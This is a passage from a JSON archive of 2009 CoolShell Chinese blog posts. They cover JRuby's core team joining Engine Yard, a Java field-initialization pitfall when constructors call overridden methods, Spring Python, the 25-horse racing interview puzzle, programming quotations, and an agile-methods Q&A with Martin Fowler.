    "content": "---\nlayout: post\ntitle: JRuby核心成员投奔Engine Yard\ndate: 2009/7/28/ 8:46:36\nupdated: 2009/7/28/ 8:46:36\nstatus: publish\npublished: true\ntype: post\n---\n\n新闻来源：[Computer World](http://www.computerworld.com/s/article/9135958/Sun_s_JRuby_team_jumps_ship_to_Engine_Yard?taxonomyId=57&pageNumber=1)\n\n\nhttp://media.xircles.codehaus.org/_projects/jruby/_logos/medium.pngSun公司的JRuby团队正在离开他们的老东家Sun，投奔Engine Yard公司。他们声称这是因为Oracle并购Sun后的前途不明朗的原因。Sun的新闻发言人已确定了这一消息的真实性。\n\n\n在两年半前，Sun招募了Charles Nutter 和Thomas Enebo，这两人叫“the JRuby Guys”，他们主要实现在Java虚似机上运行Ruby，后来Sun又招了一个叫Nick Sieger的人。今天，这三个核心开发人员会在下周一的时候到新公司上班。他们认为Oracle可能会不支持他们继续在JVM上运行Ruby这个事情，而JRuby又是他们的未来。\n\n\n[Engine Yard](http://www.engineyard.com/)。成立仅两年、总部设在旧金山的Engine Yard，主要业务是为使用开放原始码开发环境Ruby on Rails的开发者处理系统布署和作业等事项。该公司协助开发者透过所谓的云计算，或第三方数据中心，执行应用软件。Engine Yard曾经从New Enterprise Associates和Amazon.com两家公司募得投资1500万美元。该公司正在进行云计算平台上的Rails计划。\n\n\n\nEngineYard公司的市场部副总裁Michael Mullany说，他们这所以招募了他们，是因为他们觉得JRuby的用户数量在增加，而他们公司并没有这方面的专业知识。并且，展示了JRuby在过去一年有40%的增涨态势。这个副总裁还说，JRuby的下一个阶段会是一个专业的开源的JRuby，但技术支持将是收费的。\n\n\nNick Sieger在Sun公司是 [Kenai](http://kenai.com/) 项目的leader，他说下一代的JRuby将会允许开发人员以云的方式host他们的应用，就像SourceForge一样。\n\n\nJRuby 的第四个核心开发者 Ola Bini，自从去年被ThoughtWorks招募后，还在那里工作。\n\n\nNutter说，JRuby的下一个版本是1.4，会在今年9月份发布，在这个版本，他们会让JRuby成为JVM上的一等公民，并让其成为JVM上最好的语言。当然，也会处理一些和Engine Yard相关的东西。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2631.html)[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [![Internet 技术演变图](../wp-content/uploads/2009/07/Internet-150x150.jpg)](https://coolshell.cn/articles/1178.html)[Internet 技术演变图](https://coolshell.cn/articles/1178.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/780.html)[如何知道某网站运行在GAE上](https://coolshell.cn/articles/780.html)\nThe post [JRuby核心成员投奔Engine Yard](https://coolshell.cn/articles/1194.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-3 Java构造时成员初始化的陷阱.md",
    "content": "---\nlayout: post\ntitle: Java构造时成员初始化的陷阱\ndate: 2009/7/3/ 6:31:49\nupdated: 2009/7/3/ 6:31:49\nstatus: publish\npublished: true\ntype: post\n---\n\n让我们先来看两个类：Base和Derived类。注意其中的whenAmISet成员变量，和方法preProcess()\n\n\n\n```\n\npublic class Base\n{\n    Base() {\n        preProcess();\n    }\n\n    void preProcess() {}\n}\n```\n\n\n```\n\npublic class Derived extends Base\n{\n    public String whenAmISet = \"set when declared\";\n\n    @Override void preProcess()\n    {\n        whenAmISet = \"set in preProcess()\";\n    }\n}\n\n```\n\n如果我们构造一个子类实例，那么，whenAmISet 的值会是什么呢？\n\n\n\n\n```\n\npublic class Main\n{\n    public static void main(String[] args)\n    {\n        Derived d = new Derived();\n        System.out.println( d.whenAmISet );\n    }\n}\n\n```\n\n再续继往下阅读之前，请先给自己一些时间想一下上面的这段程序的输出是什么？是的，这看起来的确相当简单，甚至不需要编译和运行上面的代码，我们也应该知道其答案，那么，你觉得你知道答案吗？你确定你的答案正确吗？\n\n\n很多人都会觉得那段程序的输出应该是“set in preProcess()”，这是因为当子类Derived 的构造函数被调用时，其会隐晦地调用其基类Base的构造函数（通过super()函数），于是基类Base的构造函数会调用preProcess() 函数，因为这个类的实例是Derived的，而且在子类Derived中对这个函数使用了override关键字，所以，实际上调用到的是：Derived.preProcess()，而这个方法设置了whenAmISet 成员变量的值为：“set in preProcess()”。\n\n\n当然，上面的结论是错误的。如果你编译并运行这个程序，你会发现，程序实际输出的是“set when declared ”。怎么为这样呢？难道是基类Base 的preProcess() 方法被调用啦？也不是！你可以在基类的preProcess中输出点什么看看，你会发现程序运行时，Base.preProcess()并没有被调用到（不然这对于Java所有的应用程序将会是一个极具灾难性的Bug）。\n\n\n虽然上面的结论是错误的，但推导过程是合理的，只是不完整，下面是整个运行的流程：\n\n\n1. 进入Derived 构造函数。\n2. Derived 成员变量的内存被分配。\n3. Base 构造函数被隐含调用。\n4. Base 构造函数调用preProcess()。\n5. Derived 的preProcess 设置whenAmISet 值为 “set in preProcess()”。\n6. Derived 的成员变量初始化被调用。\n7. 执行Derived 构造函数体。\n\n\n等一等，这怎么可能？在第6步，Derived 成员的初始化居然在 preProcess() 调用之后？是的，正是这样，我们不能让成员变量的声明和初始化变成一个原子操作，虽然在Java中我们可以把其写在一起，让其看上去像是声明和初始化一体。但这只是假象，**我们的错误就在于我们把Java中的声明和初始化看成了一体**。**在C++的世界中，C++并不支持成员变量在声明的时候进行初始化，其需要你在构造函数中显式的初始化其成员变量的值，看起来很土，但其实C++用心良苦。**\n\n\n在面向对象的世界中，因为程序以对象的形式出现，导致了我们对程序执行的顺序雾里看花。所以，**在面向对象的世界中，程序执行的顺序相当的重要**。\n\n\n下面是对上面各个步骤的逐条解释。\n\n\n1. 进入构造函数。\n2. 为成员变量分配内存。\n3. 除非你显式地调用super()，否则Java 会在子类的构造函数最前面偷偷地插入super() 。\n4. 调用父类构造函数。\n5. 调用preProcess，因为被子类override，所以调用的是子类的。\n6. 于是，初始化发生在了preProcess()之后。这是因为，Java需要保证父类的初始化早于子类的成员初始化，否则，在子类中使用父类的成员变量就会出现问题。\n7. 正式执行子类的构造函数（当然这是一个空函数，虽然我们没有声明）。\n\n\n你可以查看《Java语言的规格说明书》中的 [相关章节](http://java.sun.com/docs/books/jls/third_edition/html/execution.html#12.5) 来了解更多的Java创建对象时的细节。\n\n\nC++的程序员应该都知道，在C++的世界中在“构造函数中调用虚函数”是不行的，Effective C++ 条款9：Never call virtual functions during construction or destruction，Scott Meyers已经解释得很详细了。\n\n\n在语言设计的时候，“**在构造函数中调用虚函数**”是个两难的问题。\n\n\n1. 如果调用的是父类的函数的话，这个有点违反虚函数的定义。\n2. 如果调用的是子类的函数的话，这可能产生问题的：因为在构造子类对象的时候，首先调用父类的构造函数，而这时候如果去调用子类的函数，由于子类还没有构造完成，子类的成员尚未初始化，这么做显然是不安全的。\n\n\nC++选择了第一种，而Java选择了第二种。\n\n\n* C++类的设计相对比较简陋，通过虚函数表来实现，缺少类的元信息。\n* 而Java类的则显得比较完整，有super指针来导航到父类。\n\n\n最后，需要向大家推荐一本书，Joshua Bloch 和 Neal Gafter 写的 [Java Puzzlers: Traps, Pitfalls, and Corner Cases](http://www.amazon.com/gp/product/032133678X?ie=UTF8&tag=billthelizard-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=032133678X)，中文版《[JAVA解惑](http://www.china-pub.com/28310&ref=ps)》。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java构造时成员初始化的陷阱](https://coolshell.cn/articles/1106.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-30 Python也Spring了.md",
    "content": "---\nlayout: post\ntitle: Python也Spring了\ndate: 2009/7/30/ 12:43:12\nupdated: 2009/7/30/ 12:43:12\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://springpython.webfactional.com/reference/html/images/spring_python_white.png没想到啊，Python也有Spring的框架了，看看SpringPython项目主页（<http://springpython.webfactional.com/>）。这个项目的Leader是这样说的：Spring Python是基于Java的Spring框架（Spring Framework）和Spring安全（Spring Security）的一个分支，它以Python语言为目标。Spring提供了许多有用的特征功能，同样地这些特征功能在Python下也应当有效。– Greg Turnquist\n\n\n\n从这个项目的主页可以看到有下面这些Key features：\n\n\n* [反转控制IoC](https://coolshell.cn/wp-admin/reference/html/objects.html)\n* [面向方面的编程(AOPAspect-oriented Programming)](https://coolshell.cn/wp-admin/reference/html/aop.html)\n* [数据库访问 (Data Access)](https://coolshell.cn/wp-admin/reference/html/dao.html)\n* [事务管理 (Transaction Management)](https://coolshell.cn/wp-admin/reference/html/transaction.html)\n* [安全性 (Security)](https://coolshell.cn/wp-admin/reference/html/security.html)\n* [远程分布式 (Remoting)](https://coolshell.cn/wp-admin/reference/html/remoting.html)\n* [插件/命令行工具 (Plug-ins/command-line tool)](https://coolshell.cn/wp-admin/reference/html/plugins.html)\n* [演示示例](https://coolshell.cn/wp-admin/reference/html/samples.html)\n\t+ [PetClinic](https://coolshell.cn/wp-admin/reference/html/samples.html#samples-petclinic) – 一个怎样使用框架的例子.\n\t+ [Spring Wiki](https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springwiki) – Wikis是存储和管理内容的有效方式!\n\t+ [Spring Bot](https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springbot) – 使用框架建立管理IRC通道的例子。\n\n\n看上去好像不错，不过细想一下，是不是有点多余，有点画蛇添足啊？反正我有一种比较怪怪的感觉。不过10年前有人问我搜索引擎怎么样？我当时也觉得那个东西很无聊，呵呵。让我们看看未来这个东西是否真的能够进入企业级的解决方案。不过目前我们的Python社区好像几乎没有什么反应。\n\n\n欢迎你留下你的看法。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python也Spring了](https://coolshell.cn/articles/1204.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-30 面试题：赛马问题.md",
    "content": "---\nlayout: post\ntitle: 面试题：赛马问题\ndate: 2009/7/30/ 14:35:35\nupdated: 2009/7/30/ 14:35:35\nstatus: publish\npublished: true\ntype: post\n---\n\n据说，这是Google的面试题。面试题目如下：\n\n\n**[![Question](../wp-content/uploads/2009/07/Question.jpg \"Question\")](https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg)一共有25匹马，有一个赛场，赛场有5个赛道，就是说最多同时可以有5匹马一起比赛。假设每匹马都跑的很稳定，不用任何其他工具，只通过马与马之间的比赛，试问，最少得比多少场才能知道跑得最快的5匹马？（**不能使用撞大运的算法**）**\n\n\n很明显这是一个算法题，网上有很多贴子在讨论这个问题，不过都没有给出一个明确的答案。我想了想，想到下面的一个算法：\n\n\n1）分成5组A，B，C，D，E，比五场。然后根据每场结果分别给这五组内的五匹马排序（从快到慢）。  \n\n2）每组的头名再赛一场，取走第一名，然后该组第二名顶上。  \n\n3）重复第二步，直到选出前5名。\n\n\n这个算法是比较笨的算法，总计需要**赛10次，**这个算法应该是万无一失的。现在的问题的就，如何优化这个算法，想了想，的确是有优化的空间的。也就是说，是可以少于10次的。\n\n\n\n想了一想，上面的那个算法自从第6次开始就使用5个排序数组的头名做“冒泡法”，总是挑一个最优秀的出来，其实，**在第6次以后除了挑出最优秀的，我们还可以在每次比赛后淘汰一些速度不行的**，淘汰的马匹数自然会比选出的更多，所以，一方面在找，另一方面在淘汰，找出前5名的速度应该会更快。\n\n\n比如：我们假设比赛完第六场后，我们得到下面的排序：（每组排序是——快马从左到右，各组头名的排序是——快马从上到下）\n\n\nA组 A1 A2 A3 A4 A5  \n\nB组 B1 B2 B3 B4 B5  \n\nC组 C1 C2 C3 C4 C5  \n\nD组 D1 D2 D3 D4 D5  \n\nE组 E1 E2 E3 E4 E5\n\n\n这样，我们不但知道，A1是25匹马里最快的马，而且我们可以淘汰近一半的马，比如E2，E3，E4，E5就可以全部淘汰了，为什么呢，因为比E2快的马有A1,B1,C1,D1,E1这五匹马，所以，E2后面的马是无法进入前五名了；同理，D3和其后面的也进入不了前5；同理，C4，C5，B5都可以淘汰。\n\n\n于是，在第六轮后我们可以得知，除了A1外的Top 4必然在下面这些马中：\n\n\nA组  A2 A3 A4 A5  \n\nB组 B1 B2 B3 B4   \n\nC组 C1 C2 C3   \n\nD组 D1 D2   \n\nE组 E1\n\n\n接下来的过程应该不必我多说了。重复前面的方法，尽可能淘汰无法进前N名的马，于是后面的马就越来越少，你所需要的比赛也会越来越少。\n\n\n那么，对于这个题，聪明的你知道最少要比赛几场了吗？\n\n\n举一反三，如果有64匹马，8个赛道呢？不失一般性，如果有N匹马，M个赛道呢？N = M\\*M，那么公式是什么呢？\n\n\n期待你的答案！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [![面试题：火车运煤问题](../wp-content/uploads/2009/07/Question-150x150.jpg)](https://coolshell.cn/articles/4429.html)[面试题：火车运煤问题](https://coolshell.cn/articles/4429.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\nThe post [面试题：赛马问题](https://coolshell.cn/articles/1202.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-31 编程引言补充.md",
    "content": "---\nlayout: post\ntitle: 编程引言补充\ndate: 2009/7/31/ 10:27:55\nupdated: 2009/7/31/ 10:27:55\nstatus: publish\npublished: true\ntype: post\n---\n\n之前收集过《[22条经典的编程引言](https://coolshell.cn/articles/808.html \"22条经典的编程引言 - 1,565 次浏览\")》，发现还有一些未收录的，下面这些引言也很有意思的，希望你喜欢。\n\n\n“The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time.” – Tom Cargill   \n\n “最开始的90%的代码使用了程序员90%的时间，剩下的10%的代码也需要90%的开发时间”——Tom Cargill（这不就是中国谚语——“行百步半九十”）\n\n\n　\n\n\n“In order to understand recursion, one must first understand recursion.” – Author Unknown   \n\n “要知道什么是‘递归’，你首先需要知道‘递归’”——无名氏\n\n\n\n　\n\n\n“I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.” – Bjarne Stroustrup   \n\n“我总是希望电脑能和电话一样好用，现在我的这个愿望成真了，因为我已经不知道怎么使用我的电话了”– Bjarne Stroustrup\n\n\n　\n\n\n “There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.” -C.A.R. Hoare  \n\n“我们有两个方法来进行软件设计：一个是让其足够的简单以至于让BUG无法藏身；另一个就是让其足够的复杂，让人找不到BUG。前者更难一些” — C.A.R. Hoare\n\n\n　\n\n\n  “If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization.” – Gerald Weinberg  \n\n“如果建筑工人盖房子就像程序员写程序一样，那么只需要一只啄木鸟就可以摧毁人类文明”– Gerald Weinberg\n\n\n　\n\n\n“Nine people can’t make a baby in a month.” – Fred Brooks   \n\n“九个人不能只用一个月就能生出孩子来”– Fred Brooks （这是对人月计算法的一个讽刺）\n\n\n 　\n\n\n“Before software can be reusable it first has to be usable.” – Ralph Johnson  \n\n“在软件可被重用前，它必需要可以被用”– Ralph Johnson\n\n\n 　\n\n\n程序员之歌  \n\n99 little bugs in the code,  \n\n99 bugs in the code,  \n\nfix one bug, compile it again,  \n\n101 little bugs in the code.  \n\n101 little bugs in the code….  \n\n(Repeat until BUGS = 0)\n\n\n　\n\n\nAny fool can write code that a computer can understand. Good programmers write code that humans can understand. *–Martin Fowler*任何一个傻子都能写出让电脑能懂的代码，而只有好的程序员可以写出让人能看懂的代码 — Martin Fowler\n\n\n　\n\n\n**Wirth’s law:** Software gets slower faster than hardware gets faster. —[*Niklaus Wirth*](http://en.wikipedia.org/wiki/Niklaus_Wirth)  \n\nWirth定律，软件把性能变慢的速度要快于硬件把性期变快的速度。– Niklaus Wirth\n\n\n　\n\n\n Better train people and risk they leave – than do nothing and risk they stay.  \n\n—*Anonymous*就算是培训的员工会离开，这也好过他们什么也不做却不会离开。——无名氏\n\n\n　\n\n\nGood judgment comes from experience, and experience comes from bad judgment. —[Frederick P. Brooks](http://en.wikipedia.org/wiki/Fred_Brooks)  \n\n“好的判断来自于经验，而经验则来自于坏的判断”\n\n\n　\n\n\nUNIX is simple. It just takes a genius to understand its simplicity *–Dennis Ritchie*UNIX 简单的，但只有天才才能知道他的简单 — Dennis Rithie\n\n\n　\n\n\nUnix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. 　*–Doug Gwyn*Unix 并不是设计成——阻止人们做那些愚蠢的事，因为那同样会阻止人们做聪明的事。——Doug Gwyn\n\n\n　\n\n\n如果你想看更多这样的引言，你可以浏览下面这个网页：  \n\n<http://www.comp.nus.edu.sg/~damithch/pages/SE-quotes.htm>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](https://coolshell.cn/articles/11656.html)[开发团队的效率](https://coolshell.cn/articles/11656.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3258.html)[C++的字符串格式化库](https://coolshell.cn/articles/3258.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* [![“21天教你学会C++”](../wp-content/uploads/2010/03/Teach_Youself_CPP_21days-150x150.jpg)](https://coolshell.cn/articles/2250.html)[“21天教你学会C++”](https://coolshell.cn/articles/2250.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3649.html)[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html)\nThe post [编程引言补充](https://coolshell.cn/articles/1212.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-5 与Martin Fowler关于敏捷方法的问答.md",
    "content": "---\nlayout: post\ntitle: 与Martin Fowler关于敏捷方法的问答\ndate: 2009/7/5/ 2:15:1\nupdated: 2009/7/5/ 2:15:1\nstatus: publish\npublished: true\ntype: post\n---\n\n2009年6月23日，Martin Fowler到公司访问，与我们开了一个小型座谈会并顺便拜访了他在ThoughtWorks的同事们。\n\n\n![MeetMartinFowlerSmall](../wp-content/uploads/2009/07/MeetMartinFowlerSmall.JPG \"MeetMartinFowlerSmall\")\n\n\n以下是座谈的内容：\n\n\n\n**1、如何在常规业务中应用敏捷方法？** \n\n\n常规业务（Business As Usual）是指使公司业务正常运营而进行的一些日常业务活动，对于IT部门而言则包括系统维护、技术支持以及应用更改。这些工作相对于独立的软件项目而言即琐碎又零散，但又是不可或缺的。“如何在常规业务中应用敏捷方法？”，这是我们向Martin提出的第一个问题。Martin阐述道，首先需要澄清一下对项目的定义，传统的项目运作方式是集中一批业务人员、开发人员和管理人员进行产品开发，开发完成后将产品交付系统运行和支持部门，项目也就随之结束了。在敏捷方法中，项目是一个持续性的过程，系统随着业务的需要不断地更改和重构，参与项目的人员也相应地在不断地增加或者减少。笔者的理解是只要系统仍在支持业务运营，项目就不会结束，因为业务几乎不可能不变更，并且必要的重构也不可避免，对于ThoughtWorks的顾问们来说这意味着他们和客户的业务关系也不会结束，呵呵，双赢的策略！\n\n\n**2、集中式办公和分布式办公** \n\n\nMartin强烈反对项目成员分散式办公，甚至觉得如果你需要业务人员每天到你的办公室来访问你，那简直是不可接受的，至少你应该每天都去拜访他们。“It is a shame if the business stakeholders need to come to your office every day”大意如此。但是现实却是，对于很多公司而言，将业务经理、项目经理、业务分析人员、开发人员和测试人员都集中在一个办公室简直就是一件不可能完成的任务。笔者目前所在的项目有三个团队，一个在悉尼，两个在墨尔本，每周进行四次远程视频会议，同时通过使用电话、即时消息系统、电子邮件、项目WiKi系统等手段来解决分布办公带来的沟通不及时和信息不透明等问题。Martin最后也不得不承认，很多时候如果实在不能够做到集中式办公，那只有准备好为此付出一定的成本。笔者认为要做到完全的集中式办公可能不太现实，不过可以尽可能在异地团队之间保持相关业务的对等沟通，比如在各个团队中都尽可能安排项目相关的各类角色，如：业务经理、项目经理、开发人员等，让这些人员与在异地的相同职能的人员沟通，然后再将信息在各自的团队内消化和共享，这样的效果也许会好于纯粹的按照职能来分布团队。\n\n\n**3、交叉技能（Cross Skills）**\n\n\n这里主要讲的是BA（Business Analyst 业务分析人员）和QA（Quality Assurance 质量保证人员或测试人员），Martin说在理想的情况下，BA和QA的角色可以合并，开发人员和QA的角色也可以互换。因为BA和QA都需要对系统功能有很清晰全面的了解，他们也是系统测试的主要参与者和鉴定者，他们用来定义系统功能的主要文档是用户故事（Story），而用来测试系统功能的则是功能测试代码，测试人员和开发人员有责任将功能测试代码写得易于阅读，特别是对于BA，如果他们能够象阅读用户故事一样阅读功能测试代码，将会提高他们测试系统的效率和兴趣。这也是在功能测试中使用领域特定语言（Domain Specific Language）的目的，如果BA和QA都能够阅读和使用DSL编写测试代码，那该多好啊！（憧憬中…） 通过让开发人员轮换地担任QA的角色，可以帮助提高测试代码的质量，也可以让开发人员真正从用户的角度来考虑系统功能的设计，还可以建立相互信任、相互尊重（appreciate each others work）的良好氛围。\n\n\n**4、设计和编码** \n\n\n一位同事谈到对业务模型缺乏了解会导致代码难于理解，有时候即使代码的质量过关并且系统功能都在正常工作，但是系统的设计却和业务模型出现很大的偏差。“ 在实现设计之前，开发人员需要正确理解整个业务模型（The big picture）”，这是被经常提及的解决方法之一。Martin对此却不置可否，当然能够理解整个业务模型是最理想的情况，但是往往很少有人能够做到这一点，即便能够做到，业务模型也会随着时间和具体情况而变更。Martin首先认为设计和编码不是两个分离的过程，开发人员在设计过程中编码，也在编码过程中设计。开发人员在编码的过程中实现自己当前对业务模型的了解，首先让功能模块工作起来（Get it working），同时考虑如何让代码更便于日后的必要的重构，随着时间的推移，开发人员对业务模型的了解会不断清晰和全面，只要代码易于重构，整个系统的设计和实现将会不断地、最终地符合业务模型。\n\n\n**5、公司内部的开源项目，鼓励用户参与产品开发** \n\n\n很多公司里不同的IT部门可能会重复开发相同功能的产品，这样会导致很大的资源浪费，用户也会面临选择的难题。再者，Martin发现很多IT部门对用户提出的功能需求缺乏足够快的响应速度，主要原因是开发人员资源有限，即使再玩命地工作也不可能在用户的预期时间内处理完本来就很长的功能需求队列。典型的例子是：公司有两个IT部门A和B，A部门需要B部门对邮政编码的Web Service做一个功能更改，而B部门的开发人员正忙于处理n个之前提交的功能需求，所以A部门的需求只能在队列中耐心等待直到B部门有开发人员空闲。如何缩短用户的等待时间？Martin建议如果A部门有开发人员熟悉Web Services，他可以从B部门的源代码库中提取邮政编码Web Service的代码，并且编码实现他需要的功能，完成之后生成代码包提交给B部门审核和测试，通过后就可以将代码合并到代码库中。这样做的优点是：1. 将功能需求由开发部门驱动转变为用户驱动，因为用户是真正了解并需要这个功能的人，所以用户会更为迫切地运用各种手段实现该功能，同时保证功能如其预期的那样运行。 2. 缩短开发周期，如果用户不愿意等待的话他可以立即着手开始功能的实现，而不必等待B部门的人员。3. 有利于公司内部的知识共享和交流，即便A部门的开发人员不熟悉Web Services但是愿意学习，B部门的开发人员可以通过结对编程（Pair Programming）的方法指导对方，待对方上手之后即可返回自己的工作，相对于B部门开发人员由始至终开发整个功能而言，这仍然可以大大缩短整个开发周期。当然，公司内部的开源策略需要一些前提，首先是部门之间应该有共同的知识领域，代码和文档需要版本控制的支持，部门人员能够理解和运用结对编程。\n\n\n**6、选择和运用框架** \n\n\n“It is like you buying a new PC every 2 years” 当Martin被问道“这么多的应用框架层出不穷，我们该如何选择？”的时候如是回答。每几年我们都会换一台新电脑，是因为新的电脑内存更大，处理速度更快，应用软件也更复杂，要求的系统资源也更多。我们使用框架的目的也是解决业务相关的问题，只要是对业务有利的框架，都值得花一点时间去关注。 Martin鼓励公司允许开发人员占用一定的工作时间来实验新的框架，因为不这样如何能够知道它是否对提升业务价值有帮助。当然框架在生产环境（Production Environment）中的表现是衡量的一个重要标准，因为不经过生产环境中各种复杂情况的检验，很难最终确定框架是否适用。\n\n\n**（**本文系作者原创，请勿用于商业用途**，如转载请注明出自酷壳www.cocre.com）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![为什么敏捷方法能在软件开发中行之有效？](../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg)](https://coolshell.cn/articles/2622.html)[为什么敏捷方法能在软件开发中行之有效？](https://coolshell.cn/articles/2622.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/194.html)[Linux 